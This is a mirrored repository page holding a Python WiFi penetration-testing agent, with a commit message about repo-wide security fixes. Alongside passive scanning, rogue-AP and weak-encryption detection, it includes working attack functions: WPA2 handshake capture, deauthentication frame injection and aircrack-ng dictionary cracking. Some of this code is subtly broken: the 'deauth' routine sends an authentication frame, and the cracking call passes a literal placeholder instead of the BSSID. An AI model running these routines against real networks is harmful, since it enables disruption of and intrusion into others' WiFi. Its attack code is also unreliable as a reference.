mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
184 lines
7.3 KiB
Python
184 lines
7.3 KiB
Python
#!/usr/bin/env python3
|
|
# For authorized penetration testing and lab environments only
|
|
"""Wireless Network Penetration Testing Agent - Tests WiFi security using Scapy and aircrack-ng."""
|
|
|
|
import json
|
|
import logging
|
|
import argparse
|
|
import subprocess
|
|
from datetime import datetime
|
|
|
|
from scapy.all import (
|
|
Dot11, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11Auth,
|
|
sniff, RadioTap, sendp, conf,
|
|
)
|
|
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
def scan_access_points(interface, duration=30):
|
|
"""Scan for WiFi access points by capturing beacon frames."""
|
|
access_points = {}
|
|
|
|
def beacon_handler(pkt):
|
|
if pkt.haslayer(Dot11Beacon):
|
|
bssid = pkt[Dot11].addr2
|
|
if bssid not in access_points:
|
|
ssid = pkt[Dot11Elt].info.decode("utf-8", errors="ignore")
|
|
stats = pkt[Dot11Beacon].network_stats()
|
|
access_points[bssid] = {
|
|
"ssid": ssid,
|
|
"bssid": bssid,
|
|
"channel": stats.get("channel", 0),
|
|
"crypto": list(stats.get("crypto", set())),
|
|
"signal": pkt.dBm_AntSignal if hasattr(pkt, "dBm_AntSignal") else None,
|
|
}
|
|
|
|
logger.info("Scanning for access points on %s for %ds", interface, duration)
|
|
sniff(iface=interface, prn=beacon_handler, timeout=duration, store=False)
|
|
logger.info("Discovered %d access points", len(access_points))
|
|
return list(access_points.values())
|
|
|
|
|
|
def detect_rogue_aps(discovered_aps, known_ssids, known_bssids):
|
|
"""Detect rogue access points by comparing against known infrastructure."""
|
|
rogues = []
|
|
for ap in discovered_aps:
|
|
if ap["ssid"] in known_ssids and ap["bssid"] not in known_bssids:
|
|
ap["rogue_reason"] = "Known SSID with unknown BSSID (potential evil twin)"
|
|
rogues.append(ap)
|
|
logger.warning("ROGUE AP detected: SSID=%s BSSID=%s", ap["ssid"], ap["bssid"])
|
|
return rogues
|
|
|
|
|
|
def detect_weak_encryption(access_points):
|
|
"""Identify access points using weak or no encryption."""
|
|
weak = []
|
|
for ap in access_points:
|
|
crypto = ap.get("crypto", [])
|
|
if not crypto or "OPN" in crypto:
|
|
ap["weakness"] = "Open network - no encryption"
|
|
weak.append(ap)
|
|
elif "WEP" in str(crypto):
|
|
ap["weakness"] = "WEP encryption - trivially crackable"
|
|
weak.append(ap)
|
|
elif "WPA" in str(crypto) and "WPA2" not in str(crypto):
|
|
ap["weakness"] = "WPA1 only - vulnerable to TKIP attacks"
|
|
weak.append(ap)
|
|
logger.info("Found %d APs with weak encryption", len(weak))
|
|
return weak
|
|
|
|
|
|
def capture_handshake(interface, target_bssid, channel, output_file, duration=60):
|
|
"""Capture WPA2 4-way handshake using airodump-ng."""
|
|
set_channel_cmd = ["iwconfig", interface, "channel", str(channel)]
|
|
subprocess.run(set_channel_cmd, capture_output=True, timeout=120)
|
|
|
|
cmd = [
|
|
"airodump-ng", "--bssid", target_bssid, "--channel", str(channel),
|
|
"--write", output_file, "--output-format", "pcap",
|
|
interface,
|
|
]
|
|
logger.info("Capturing handshake for %s on channel %d", target_bssid, channel)
|
|
try:
|
|
subprocess.run(cmd, timeout=duration, capture_output=True)
|
|
except subprocess.TimeoutExpired:
|
|
pass
|
|
return f"{output_file}-01.cap"
|
|
|
|
|
|
def send_deauth(interface, target_bssid, client_mac="FF:FF:FF:FF:FF:FF", count=5):
|
|
"""Send deauthentication frames to force client reconnection for handshake capture."""
|
|
dot11 = Dot11(addr1=client_mac, addr2=target_bssid, addr3=target_bssid)
|
|
frame = RadioTap() / dot11 / Dot11Auth(algo=0, seqnum=1, status=0)
|
|
sendp(frame, iface=interface, count=count, inter=0.1, verbose=False)
|
|
logger.info("Sent %d deauth frames to %s (client: %s)", count, target_bssid, client_mac)
|
|
|
|
|
|
def crack_handshake(cap_file, wordlist):
|
|
"""Attempt to crack WPA2 handshake using aircrack-ng."""
|
|
cmd = ["aircrack-ng", "-w", wordlist, "-b", "target_bssid", cap_file]
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600)
|
|
if "KEY FOUND" in result.stdout:
|
|
key_line = [l for l in result.stdout.split("\n") if "KEY FOUND" in l]
|
|
if key_line:
|
|
logger.info("WPA2 key cracked: %s", key_line[0])
|
|
return {"cracked": True, "key": key_line[0]}
|
|
return {"cracked": False}
|
|
|
|
|
|
def detect_client_probes(interface, duration=30):
|
|
"""Capture probe requests to identify client-side vulnerabilities."""
|
|
probes = []
|
|
|
|
def probe_handler(pkt):
|
|
if pkt.haslayer(Dot11ProbeReq):
|
|
ssid = pkt[Dot11Elt].info.decode("utf-8", errors="ignore") if pkt.haslayer(Dot11Elt) else ""
|
|
if ssid:
|
|
probes.append({
|
|
"client_mac": pkt[Dot11].addr2,
|
|
"probed_ssid": ssid,
|
|
})
|
|
|
|
sniff(iface=interface, prn=probe_handler, timeout=duration, store=False)
|
|
unique_clients = len(set(p["client_mac"] for p in probes))
|
|
logger.info("Captured %d probe requests from %d clients", len(probes), unique_clients)
|
|
return probes
|
|
|
|
|
|
def check_wps_enabled(interface, target_bssid):
|
|
"""Check if WPS is enabled on target AP using wash."""
|
|
cmd = ["wash", "-i", interface, "-C"]
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
|
if target_bssid.upper() in result.stdout.upper():
|
|
logger.warning("WPS enabled on %s - vulnerable to Reaver attack", target_bssid)
|
|
return True
|
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
|
pass
|
|
return False
|
|
|
|
|
|
def generate_report(access_points, rogues, weak_crypto, client_probes):
|
|
"""Generate wireless penetration test report."""
|
|
report = {
|
|
"timestamp": datetime.utcnow().isoformat(),
|
|
"access_points": access_points,
|
|
"rogue_aps": rogues,
|
|
"weak_encryption": weak_crypto,
|
|
"client_probes": client_probes[:50],
|
|
"summary": {
|
|
"total_aps": len(access_points),
|
|
"rogue_aps": len(rogues),
|
|
"weak_crypto_aps": len(weak_crypto),
|
|
"clients_probing": len(set(p["client_mac"] for p in client_probes)),
|
|
},
|
|
}
|
|
print(f"WIRELESS PENTEST REPORT: {len(access_points)} APs, {len(rogues)} rogues, {len(weak_crypto)} weak")
|
|
return report
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Wireless Network Penetration Testing Agent")
|
|
parser.add_argument("--interface", required=True, help="Wireless interface in monitor mode")
|
|
parser.add_argument("--duration", type=int, default=30, help="Scan duration in seconds")
|
|
parser.add_argument("--known-ssids", nargs="*", default=[], help="Known legitimate SSIDs")
|
|
parser.add_argument("--known-bssids", nargs="*", default=[], help="Known legitimate BSSIDs")
|
|
parser.add_argument("--output", default="wireless_pentest_report.json")
|
|
args = parser.parse_args()
|
|
|
|
aps = scan_access_points(args.interface, args.duration)
|
|
rogues = detect_rogue_aps(aps, set(args.known_ssids), set(args.known_bssids))
|
|
weak = detect_weak_encryption(aps)
|
|
probes = detect_client_probes(args.interface, args.duration)
|
|
|
|
report = generate_report(aps, rogues, weak, probes)
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
logger.info("Report saved to %s", args.output)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|